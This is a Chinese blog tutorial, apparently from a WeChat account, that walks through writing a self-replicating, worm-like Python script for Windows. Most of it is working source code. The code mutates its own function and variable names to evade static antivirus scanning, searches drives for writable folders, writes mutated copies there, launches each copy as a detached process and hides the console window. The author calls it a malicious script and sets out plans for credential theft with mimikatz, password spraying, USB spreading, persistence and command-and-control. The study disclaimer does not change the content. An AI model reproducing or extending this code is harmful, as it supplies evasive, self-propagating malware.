如遇图片加载失败等问题 可通过笔者公众号阅读:https://mp.weixin.qq.com/s/xAEz7FAuJfuCvzs7VoMgQA
声明:
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经本文作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言:
本文为个人初探类蠕虫原理,所学习内容,源码为个人尝试过程中 仅为实现相关功能所编写。故源码分布等并不美观,编写方式也并不高级(并未使用面向对象等),仅为学习相关原理、实现相关功能!!!故 更适合欲学习相关知识者。由于各种原因 暂仅实现本文目前所实现功能,且相关源码暂不做优化。如有需求自行编写即可。后续如有时间优化,则继续跟进。
本文目标仅为原理学习 如有其他需求、自行添加及进行相关优化
类蠕虫介绍:
类蠕虫是一种可以自我复制的代码,并且通过网络传播,通常无需人为干预就能传播。 类蠕虫病毒入侵并完全控制一台计算机之后,就会把这台机器作为宿主,进而扫描并感染其他计算机。 当这些新的被类蠕虫入侵的计算机被控制之后,类蠕虫会以这些计算机为宿主继续扫描并感染其他计算机,这种行为会一直延续下去。
本文主要内容/实现功能:
一: 实现简单变异(随机路径、随机文件名、随机自定义函数名、随机参数名;并保证随即后可继续正常执行)
二: 实现源码的自我复制(一变多复制 初步限制泛滥复制)
三.: 实现独立运行(经过衍生后的源码可被调用执行,且采用多进程的方式相互独立运行)
四: 后续思路说明
五: 总结
注:建议本实验过程,全程于虚拟机环境中进行(为防止实验过程中,自我复制时未做好限制等),本文所用环境为vmware中的win10虚拟环境 python3的脚本源码(文末附笔者完整源码链接)
一:实现简单的变异:
1.随机字符串生成(用来生成文件名、参数名等)
#返回随机字符串,用来更换
def SuiJiZiFuCuan():
#定义随机字符串列表 全局变量 用来存储生成的随机字符串 虽然概率几乎没有 但以防万一生成相同的字符串
global RandStrList
#字符集 从该字符集中随机选取字符 组成随机字符串
chr_list = 'LfwuXUyKsFQgPIMlHmxrAOVZWtJeYiRBjzcqnovdpbThCGkEaSN_D'
#用临时变量存储取得的随机字符 该函数取得的随机数(9-15)个随机字符
CunShuLinShiBianLiang = random.sample(chr_list, random.randint(9,15))
#因取得的随机字符为列表类型 需要将其链接为字符串
CunShuLinShiBianLiang = "".join(CunShuLinShiBianLiang)
#判断生成的随机字符串是否是已经生成的的 如不重复则返回 如重复 则下面继续递归调用
if CunShuLinShiBianLiang not in RandStrList:
RandStrList.append(CunShuLinShiBianLiang)
return CunShuLinShiBianLiang
SuiJiZiFuCuan()
2.随机参数名(用来变换自定义函数中的局部变量名)
#变换一:修改参数名
def XiuGaiCanShuMing(fun_name):
#定义全局变量 用来保存获取到的本文件中的所有源码内容 即读取到的自身源码
global codeFileText
#获取传入函数名的函数内的所有局部变量名称
inspect.signature(fun_name).parameters
canShuNameList = fun_name.__code__.co_varnames
#调用随机字符串函数 使用新生成的随机字符串 替换提取到的自定义函数内部的局部变量
for CanShuMing in canShuNameList:
codeFileText = codeFileText.replace(CanShuMing,SuiJiZiFuCuan())
#因为定义的是全局变量 故 此处是否返回均可 后续如有其他用途会特别说明
return codeFileText
3.随机函数名(用来变换自定义函数的函数名):
#变换二:修改函数名
def XiuGaiHanShuMing(fun_name):
global codeFileText
#直接传入需要替换的自定义函数的函数名即可 可自行修改和别的源码进行合并
codeFileText = codeFileText.replace(str(fun_name),SuiJiZiFuCuan())
return codeFileText
4.随机字符集(用来修改每个衍生文件的 随机字符串函数的字符集)
#变换三:修改变换一中的字符集
def XiuGaiZiFuJi():
global codeFileText
#因为字符集采用的局部变量 故此处再次定义
chr_list = 'LfwuXUyKsFQgPIMlHmxrAOVZWtJeYiRBjzcqnovdpbThCGkEaSN_D'
#将字符串列表化 每个字符转换为一个列表元素
LinShiBianLiang004 = list(chr_list)
#打乱列表
random.shuffle(LinShiBianLiang004)
#再次组合为新的 字符串
LinShiBianLiang003 = "".join(LinShiBianLiang004)
#将打乱并组合后的字符集 与原字符集进行替换
codeFileText = codeFileText.replace(chr_list,LinShiBianLiang003)
# return codeFileText
return 0
5.变换 标志文件路径、文件名(目前用来限制衍生数量等)
#修改源码中 配置文件路径 分割标记
def XorConfigAndLockPathName():
#标志文件一:配置信息文件 用来存储类蠕虫、标志等文件的路径 放置解除控制的标志字符
global configPathName
#标志文件二:锁文件 用来判断是否有程序正在操作配置文件 或是否在新一轮衍生等
global lockPathName
#源码
global codeFileText
#配置文件中用来分割每个参数值的分隔符 同样采用随机字符串的形式分割
global FenGeBiaoJi
#判断是否结束控制的变量之一 保存在配置文件中 当建立远程链接时 用控制端传入修改
global configClosePyFlag
#判断是否结束控制的变量之二 不存储 在运行过程中使用 当传入的configClosePyFlag与其相同时 结束控制
global tcpClosePyFlag
#用来随机选取可读写路径 组合生成的文件名 在随机路径中写入信息文件 并将该路径 在脚本源码中进行修改
LinShiBianLiang008 = random.sample(FilePathList, random.randint(1,1))[0] + '\\' + SuiJiZiFuCuan() + '.cof'
codeFileText = codeFileText.replace(configPathName,LinShiBianLiang008)
configPathName = LinShiBianLiang008
#用来随机选取可读写路径 组合生成的文件名 在随机路径中写入锁文件 并将该路径 在脚本源码中进行修改
LinShiBianLiang008 = random.sample(FilePathList, random.randint(1,1))[0] + '\\' + SuiJiZiFuCuan() + '.lock'
codeFileText = codeFileText.replace(lockPathName,LinShiBianLiang008)
lockPathName = LinShiBianLiang008
#使用生成的随机字符串 替换分割符号 以尽可能的去除特定符号防止静态标志检测
codeFileText = codeFileText.replace(FenGeBiaoJi,SuiJiZiFuCuan())
#使用生成的随机字符串 替换结束标志 使 每次衍生的结束标志均不同
codeFileText = codeFileText.replace(configClosePyFlag,SuiJiZiFuCuan()).replace(tcpClosePyFlag,SuiJiZiFuCuan())
# return codeFileText
return 0
6.调用上述的一系列变换函数 完成对源码的变换
#获取源码并对源码中的函数、变量等进行变换
def getXorCodeText():
global codeFileText
#由于第一次对源码的变换采用的为全局变量 故 每一轮衍生出的源码经过一次变换后 二次无法匹配到目标 导致每一轮衍生出的源码相同 函数也均已写成 故 不多做修改 采用临时变量进行交换的方式保存原值 进而确保 每一轮的每一个衍生出的源码唯一
LinShiBianLiang018 = codeFileText
#所有自定义函数的函数名 主意 此处 直接写入函数名 而不是加上单引号变成字符串 因为在获取函数内部的局部变量时 传入字符串会报错
funNameList = [GetSystemType,file_name,check_file,XiuGaiCanShuMing,XiuGaiHanShuMing,XiuGaiZiFuJi,getPyCodeNameList,getXorCodeText,RuKouHanShu]
funNameList += [WriteInfo,SuiJiZiFuCuan,InfoTxtIsInPath,WriteLockTxt,XorConfigAndLockPathName,WriteCodeText,hide_consoleView]
#修改自定义函数的函数名的列表 此处对自定义函数的函数名 写入列表 以字符串类型 为 对自定义函数的函数名进行替换
funNameChrList = ['GetSystemType','file_name','check_file','XiuGaiCanShuMing','XiuGaiHanShuMing','XiuGaiZiFuJi','getPyCodeNameList','getXorCodeText','RuKouHanShu']
funNameChrList += ['WriteInfo','SuiJiZiFuCuan','InfoTxtIsInPath','WriteLockTxt','XorConfigAndLockPathName','WriteCodeText','hide_consoleView']
#修改全局变量的变量名的列表 因上面自动获取的仅为函数内的临时局部变量 而无法获取到global定义的全局变量 故 需要单独修改 如有需求 自行优化 如有后续优化 会再发文
globalList_chr = ['SystemType','SystemVersion','FilePyNameList','FilePathList','FileListSum','configPathName','RandStrList','codeFileText']
globalList_chr += ['lockPathName','FenGeBiaoJi','configClosePyFlag','tcpClosePyFlag','Global_Debug']
for fun_name in funNameList:#变换参数名
XiuGaiCanShuMing(fun_name)
for fun_name in funNameChrList:#变换函数名
XiuGaiHanShuMing(fun_name)
for fun_name in globalList_chr:#变换自定义全局变量名
XiuGaiHanShuMing(fun_name)
XiuGaiZiFuJi()#变换字符集
#交换变量值 使全局变量依旧保存的是自身源码 return的是变换后的源码
LinShiBianLiang019 = codeFileText
codeFileText = LinShiBianLiang018
return LinShiBianLiang019
效果展示:
原 源码内容内容:
经过变异函数 变换之后 生成的新源码展示:
第一批 衍生之一:
第一批 衍生之二:
小结:
既然是恶意脚本 就要想办法隐藏自身 躲避检测 尤其时静态扫描 故需要变换过程尽可能的用来去除自身标志,编写思路:路径、及文件名 不能固定 要采用随机 要不然定点删除 比如360的防止回复。源码中的 函数名、变量名、以及用来变换的字符集 均不能固定 要采用随机 要不然静态扫描 然后根据这些需求 编写相关函数即可
注:1.变换过程中配置文件和锁文件的固定后缀 是为方便查找清除 特意加上的 实际环境中完全可以去除
2.在自定义函数、变量的时候 不论是函数名、还是变量名 因为本文是通过全文替换的方式 所以如有代表不同的变量名切不可有重复段 如:abc abcde 当对abc检索替换的时候 变量名abcde前半部分也会被替换 导致出错 应改为 abc1 abcde 如此。如有其他更好的替换方法 自行优化即可
二:实现源码的自我复制
1.传入一个路径 获取该路径下的子目录
#获取主目录、以及目录下的子目录
def file_name(file_path):
for dirRoot,dirList, dirFiles in os.walk(file_path):
return dirRoot,dirList
2.因win环境存在分盘的形式 故传入初始路径 盘符 C盘,通过该函数 探寻执行脚本的权限在该盘符的哪些路劲拥有读写权限(因仅为学习所用 故源码较为局限 仅适合win环境 )
#递归获取目录列表
#file_path 传入的路径 探测该路径下子目录
#filesum 每级路径下 最多记录几个子目录
#filePathDep 判定 获取到的路径为几级子目录
#filePathMaxDep 判定 最大为几级路径 (有点重复 暂时不做优化了)
def check_file(file_path,fileSum=5,filePathDep=5,filePathMaxDep=0):
global FilePathList #定义列表 保存具有读写权限的 路径 以作为 后续衍生路径
global FileListSum #定义列表保存最大数量 及衍生多少份新类蠕虫
LinShiBianLiang001 = []
LinShiBianLiang002 = []
#因为后续递归调用会用到filesum 故转存至临时变量操作
LinShiBianLiang015 = fileSum
#获取传入路径的 子目录列表
try:
dirRoot,dirList = file_name(file_path)
except Exception:
# print('No Admin Retun')
return 0
if dirList == []: #判断路径下是否还存在目录
return 0
#判断递归深度是否达到预期
if len(file_path.split(os.path.sep)) > filePathDep+filePathMaxDep:
return 0
#组合路径为绝对路径 并将获取到的子目录绝对路径 保存在临时列表中
for dirListName in dirList:
dir_path = os.path.join(dirRoot, dirListName)
LinShiBianLiang001.append(dir_path)
#判断子目录数量 是否大于 限定的最大取值数 并修改最大值
if LinShiBianLiang015 > len(LinShiBianLiang001):
LinShiBianLiang015 = len(LinShiBianLiang001)
#将临时列表LinShiBianLiang001中的路径随机取出fileSum条并汇总如总表FilePathList,且使用临时变量LinShiBianLiang002进行保存
while LinShiBianLiang015:
#因为要多次用到该随机值 故采用随机下标的方式 从路径列表中取值 而不是直接取路径
indexNum = random.randint(0,len(LinShiBianLiang001)-1)
try:
#采用在 探测到的目录下 创建并写入文件、以及读取内容的方式 判断在该路径下 是否具有读写权限
#如有其他方式 自行优化即可
#获取文件路径 并使用分割取得脚本后缀 将脚本后缀保存在临时变量中
LinShiBianLiang006 = '.' + os.path.abspath(__file__).split('.')[-1]
#组合绝对路径
LinShiBianLiang012 = LinShiBianLiang001[indexNum] + '\\' + SuiJiZiFuCuan() + LinShiBianLiang006
#打开文件 不存在则创建 判断是否有写入权限
LinShiBianLiang011 = open(LinShiBianLiang012,'w')
#获取随机字符串 并写入该文件
LinShiBianLiang013 = SuiJiZiFuCuan()
LinShiBianLiang011.write(LinShiBianLiang013)
LinShiBianLiang011.close()
#再次打开该文件 读取内容
LinShiBianLiang011 = open(LinShiBianLiang012,'r').read()
#读取的内容已保存在临时变量 可删除该测试文件
os.remove(os.path.abspath(LinShiBianLiang012))
#判断读取到的内容与写入的内容是否一致 进而确定是否有读取权限
if LinShiBianLiang011 == LinShiBianLiang013 and '$' not in LinShiBianLiang001[indexNum] and ' ' not in LinShiBianLiang001[indexNum]:
#排除具有特殊符号的路径后 将该路径记录 并对变量减一 作为在该路径下 保存了几条路径的标记
LinShiBianLiang015 -= 1
#符合要求的添加至总列表和临时变量列表中
FilePathList.append(LinShiBianLiang001[indexNum])
#临时变量列表 用作递归调用时的探测
LinShiBianLiang002.append(LinShiBianLiang001[indexNum])
#当 每确定一条路径后 则在列表中去除该路径 防止再次随机到该路径
del LinShiBianLiang001[indexNum]
except Exception:
#当测试过程出错 则跳过该次测试 并再次随机路径 进行新一轮测试
pass
#递归调用遍历子目录
for LinShiBianLiang014 in LinShiBianLiang002:
#递归调用 遍历子目录 并继续深入探测
check_file(LinShiBianLiang014,fileSum=fileSum,filePathDep=filePathDep,filePathMaxDep=filePathMaxDep)
return 0
3.写入一:写入锁文件(主要目的是作为一个标志 用来判断 是否有衍生出的其他脚本 正在执行该过程)
#用来写入锁文件
def WriteLockTxt(LinShiBianLiang017):
#在实验过程中 为防止不受控制 无限制繁衍 最好在虚拟环境中
#其中 Global_Debug 作为全局变量 复制true、flase 用来开启、关闭写入功能
#并且再次判断锁文件是否已经存在 如已存在则放弃再次写入
if Global_Debug and not os.path.exists(LinShiBianLiang017):
try:
#锁文件 主要作用 作为一个标志 判断是否有衍生出的脚本正在执行 写入的内容随意 可是具有一定迷惑性的语句
open(LinShiBianLiang017,'w').write('This is the system configuration file!!!')
except Exception:
#判断 加如当前路径写入出错 则再次调用变换函数 变换相关路径 并再次递归调用 负责衍生的总函数
XorConfigAndLockPathName()
InfoTxtIsInPath()
return 0
4.写入二:写入配置文件(可以保存各种信息 将来作为建立连接后 向控制端传输的数据 根据需求 自行定义即可)
#写入配置文件
def WriteInfo():
global FilePyNameList #用来存储衍生出的类蠕虫的绝对路径
global configPathName #用来存储配置文件的路径
global lockPathName #用来存储锁文件的路径
global FenGeBiaoJi #用来存储 变换后的分隔符(此处用生成的一个特定的随机字符串作为分隔符)
global configClosePyFlag #用来存储标志字符串 用来判定是否结束控制
#组合 要写入配置文件中的内容
ConfigText = str(FilePyNameList)+FenGeBiaoJi+configPathName+FenGeBiaoJi+lockPathName+FenGeBiaoJi+configClosePyFlag
#判断是否开启写入 如开启 则写入组合好的信息
if Global_Debug:
ConfOpenFile = open(configPathName,'w')
ConfOpenFile.write(ConfigText)
ConfOpenFile.close()
5.写入三:衍生新的恶意脚本
#用来写入变换后的源码 变异蔓延
def WriteCodeText():
global FilePyNameList #衍生脚本路径列表
#判断是否开启写入
if Global_Debug :
#判断路径列表是否为空 如为空 则删除自身并结束进程
if FilePyNameList != []:
#遍历路径列表
for LinShiBianLiang010 in FilePyNameList:
#每次遍历 均调用一次变换总函数 取得由自身变异后的源码 并写入随机路内
LinShiBianLiang020 = getXorCodeText()
PyFileLinShi = open(LinShiBianLiang010,'w')
PyFileLinShi.write(LinShiBianLiang020)
PyFileLinShi.close()
#每衍生一个 均运行 需采用多进程 使其脱离控制台
#使用该方式启动 每次均创建一个新的窗口控制端 独立运行 除了第一个参数 用来执行cmd命令 自行修改外 其余参数 不建议新手改动 具体作用自行查找
subprocess.Popen( 'python '+LinShiBianLiang010, creationflags=8, close_fds=True ,shell=True)
else:
os.remove(os.path.abspath(__file__))
exit()
6.衍生 总函数 (统一调用上述写入函数 至于路径获取函数 则在主函数中调用)
#判断标志:配置文件是否存在,如不存在则清除所有并重新创建
def InfoTxtIsInPath():
global configPathName #配置文件路径 所有衍生类蠕虫 通过其进行各种判定
global lockPathName #当配置文件不存在时,判定锁文件是否存在防止重复创建
global FenGeBiaoJi #配置文件中不同数据的分隔符号
global tcpClosePyFlag #保存在脚本中 通过远程在该变量中传入 关闭的标记
#记录初始锁路径 以防变换后 导致 路径不一致
LinShiBianLiang016 = lockPathName
#判断配置文件是否存在 如被清除 则销毁自身并进行新一轮判定 确定是否进行新一轮衍生(或者执行其他操作)
if not os.path.exists(configPathName):
if os.path.exists(LinShiBianLiang016):
#如果锁文件存在 则说明有进程正在执行该过程 销毁自身 并结束进程
os.remove(os.path.abspath(__file__))
exit()
XorConfigAndLockPathName()#变换配置文件、锁路径 只能在此处修改配置文件、锁的路径
#如果配置文件不存在 且锁文件也不存在 则创建锁并写入配置文件 从新繁衍 最后销毁自身 结束进程
#需要在原路径中写入锁文件 而不是新变换的路径 因为 与自身同时衍生出的其他文件中保存的均为原路径 故检测的也是原路径下是否存在
WriteLockTxt(LinShiBianLiang016)
getPyCodeNameList()#组合衍生文件的绝对路径
WriteInfo() #写入配置文件 包括上面的 衍生文件的路径 注意先后顺序
WriteCodeText() #衍生新一轮类蠕虫
os.remove(os.path.abspath(__file__)) #新一轮衍生完后 销毁自身
time.sleep(20) #为防止锁文件删除过快 导致同一批的其他进程未检测到 而多次执行先生过程 故暂停20秒后 再清除锁文件 确保每一轮仅有一个进程执行衍生过程 但实测 该效果并不是太好 还需优化
os.remove(LinShiBianLiang016)
exit()
else:
#如果配置文件存在、锁文件不存在
if not os.path.exists(lockPathName):
#读取配置文件判断标志位 是否被修改为结束标志 如结束 则销毁并结束
if open(configPathName,'r',encoding='utf-8').read().split(FenGeBiaoJi)[-1] == tcpClosePyFlag :
os.remove(configPathName)
os.remove(lockPathName)
os.remove(os.path.abspath(__file__))
exit()
else:
return 0
return 0
衍生、多进程启动展示:
由于此处设置的检测条件是 当cof文件被删除时 则进行新一轮衍生
依旧是 设定的五个进程
当源码文件被删除、类蠕虫进程被关闭时(有能力的可设置守护进程、或者提权管理员禁止用户结束进程等),哪怕仅有一个类蠕虫进程在运行 依旧可以衍生自身
可以看到只要还有类蠕虫进程在运行 就会再次衍生出新的(此处之所以出现两个.cof文件、多个控制台窗口 还是因为衍生函数中做的锁判定 不够完善 导致多个进程同时 执行了衍生 还需优化)
小结:
既然身为类蠕虫 那么衍生(变异出新的源码)、蔓延(向其他pc机蔓延),必是不可或缺的基础功能(虽然目前仅完成了衍生,暂未实现蔓延 后续有时间再进行实现) ,既然是衍生 就要通过变异自身源码 并且做到自我复制、启动的功能,且启动的新进程还不能受到原进程的限制(及 父子进程 正常情况下 当父进程被结束时,子进程强行关闭)。思路:读取自身源码进行变异、获取待写入衍生后类蠕虫的路径、将变异后的源码写入新路径、使用多进程的方式开启新的控制窗口而不是依赖父窗口启动衍生后的脚本
三 :实现独立运行
1.创建子进程启动主函数(统一调用变异、衍生等方法)
if __name__ == '__main__':
#当系统为windows时,一套命令,为linux时,另外一套
global SystemType #获取系统类型
global SystemVersion #获取系统版本信息
global FilePyNameList #获取复制后文件列表
global FilePathList #获取目录列表为自我蔓延做准备
global FileListSum #目录列表最大数量 又称自我蔓延目录数量
global configPathName #配置文件路径 所有衍生蠕虫 通过其进行各种判定
global lockPathName #当配置文件不存在时,判定锁文件是否存在防止重复创建
global RandStrList #保存生成的随机字符串,派出生成的重复字符串
global codeFileText #保存变异后的源码
global FenGeBiaoJi #配置文件中不同数据的分隔符号
global configClosePyFlag #写入配置文件的关闭标记 如果需关闭则通过建立的链接 传入该值
global tcpClosePyFlag #保存在脚本中 通过远程在该变量中传入 关闭的标记
#判断系统类型及版本
GetSystemType()
# print(SystemVersion)
hide_consoleView() #隐藏开启的命令行窗口函数(自定义函数)
#通过加载multiprocessing模块 启动子进程 调用 与衍生相关的 主函数
DuoJinChengQiDong001 = multiprocessing.Process(target=RuKouHanShu)
#直接启动即可 不需join阻塞、等待什么的
DuoJinChengQiDong001.start()
#后续还可通过多进程的方式 启动相关功能 包括但不限于 建立远程连接(链接控制端取得控制权限)等
2.不仅通过子进程调用函数的方式启动衍生功能,还要通过建立独立进程的方式独立运行衍生后的类蠕虫
还是前文中的写入函数 使用 subprocess.Popen 独立运行脚本
#用来写入变换后的源码 变异蔓延
def WriteCodeText():
global FilePyNameList
if Global_Debug :
if FilePyNameList != []:
for LinShiBianLiang010 in FilePyNameList:
LinShiBianLiang020 = getXorCodeText()
PyFileLinShi = open(LinShiBianLiang010,'w')
PyFileLinShi.write(LinShiBianLiang020)
PyFileLinShi.close()
#每衍生一个 均运行 需采用多进程 使其脱离控制台
#每次均创建一个新的窗口控制端 独立运行
subprocess.Popen( 'python '+LinShiBianLiang010, creationflags=8, close_fds=True ,shell=True)
else:
os.remove(os.path.abspath(__file__))
exit()
3.隐藏cmd命令行窗口(总不能 脚本启动后 有个黑框框在界面显示吧 岂不是直接就给你结束了 最好是根本不要有显示的过程 怎奈何查了好久没找到合适的 不浪费时间了 暂时用此代替)
#用来因此控制台窗口 一闪而逝 后台继续运行
def hide_consoleView():
StopConsoleView = ctypes.windll.kernel32.GetConsoleWindow()
if StopConsoleView != 0:
ctypes.windll.user32.ShowWindow(StopConsoleView, 0)
ctypes.windll.kernel32.CloseHandle(StopConsoleView)
小结:
蠕虫具有多个功能 衍生、蔓延、甚至建立链接等等,就不能仅仅使用但进程/线程的方式按顺序执行,必须要通过多进程/线程的方式同时启动多个功能,或者通过判定来决定执行需求功能。除此之外,又不能仅通过父子进程的方式启动衍生后的脚本,否则父进程被杀死,子进程也会跟着结束。故又需要独立运行
四: 后续思路说明
1.变换衍生部分还须增强
除了对文件名、文件路径、自定义函数名、变量名等的随机变换外,其实整体规格还是相似的,如有大牛写个对应的匹配规则 照样凉凉,故在变换过程中,还可以:
1.1 加入一些无用但又不影响正常执行的内容改变源码结构(专业一点说 就是加入花指令等)
1.2 将源码更加规范的模块化,然后不要使用单独一个变量保存整个源码,而是通过一一对应的方式分别保存每个模块,然后在变换的过程中,随机组合函数的排列顺序
1.3 通过编码的形式(采用自带的编码如base系列等、或者自定义编码函数等),组合编码,多层循环加解码形式,衍生源码并写入编码后的文件。
1.4 还可以设置文件属性 隐藏等
1.5 设置文件所属 禁止普通用户操作
等等
2.自我复制
由于衍生的文件均采用随机路径、随机文件名等方式,由于新入坑蠕虫 短时间内暂未找到更合适判定方式,暂无衍生方面的思路
蔓延方面,则通过判定是否域内,如果域内则调用mimikatz等方式 取得明文密码然后 密码喷洒、弱口令爆破等方式,建立ipc、文件共享等,以及U盘、蓝牙共享等方式。甚至如有条件还可以判定是否是web服务器、ftp服务器等,进行域内传播(传播方式太多了如果全写入脚本会导致脚本臃肿,尽量简化,然后判断是否可联网等方式从服务器下载相应模块即可)
3.独立运行
独立运行方面 还需通过提权、修改注册表、守护进程、等各种方式,用来让脚本开机自启、普通用户禁止关闭等等,如有条件甚至可以随机化进程名使其不会被通过工具检测进程名 一次性关闭,并且判定条件设置为相关蠕虫进程是否被关闭,如被关闭立即进行新一轮衍生并启动运行
4.相关功能
除了目前实现的衍生功能,还有待实现的蔓延功能外,还需加入建立连接的功能。一个主动连接功能(根据源码内置域名主动向控制端发起链接建立请求)、一个被动链接功能(当域名访问失败、或者不可出网、再或者其他等等原因,则开启本地监听等待控制端发起的链接)
其实,既然是病毒,还需有破坏功能,但本文仅为学习研究,故此处不涉及!
注意!注意!!注意!!!
再次提醒,实验过程中建议在虚拟环境中进行,并且 一定要做好限制,不要无条件或限制不完善的情况下执行衍生、蔓延功能。否则很容易出现扩散、恶意造成破坏的情况。别的功能可以不完善 但限制功能一定要做好!尤其是各位技术强大且想要尝试一下的师傅们,请谨防一不小心在联网情况下传播出去造成破坏
五:总结
本文之所以选用python并不是说用python方便,而是笔者写脚本基本使用的都是python,相对来说仅需学习并实现蠕虫相关的原理即可,不用再同时学习一门新的语言。
要说合适的语言,还需根据平台而言,以windows为例,具有通用性的 vbs脚本、powershell脚本,极具通用性,且powershell功能性强大,极其适合用作蠕虫脚本的语言
附:完整源码百度网盘链接:
链接:https://pan.baidu.com/s/1zHJyhpGe2yfSspItsU6nYQ
提取码:shen
附一个win环境中 根据进程名一键结束的代码,方便你批量杀死跑起来的进程
import subprocess
si = subprocess.STARTUPINFO()
si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
#si.wShowWindow = subprocess.SW_HIDE # default
#这里 需要注意的是 经笔者测试 哪怕一键结束了所有的控制台窗口 只要python进程还在 触发判定后 依旧会再次启动并衍生,而杀死python进城后,conhost进程会自带结束
subprocess.call('taskkill /F /IM python.exe', startupinfo=si)
#subprocess.call('taskkill /F /IM conhost.exe', startupinfo=si)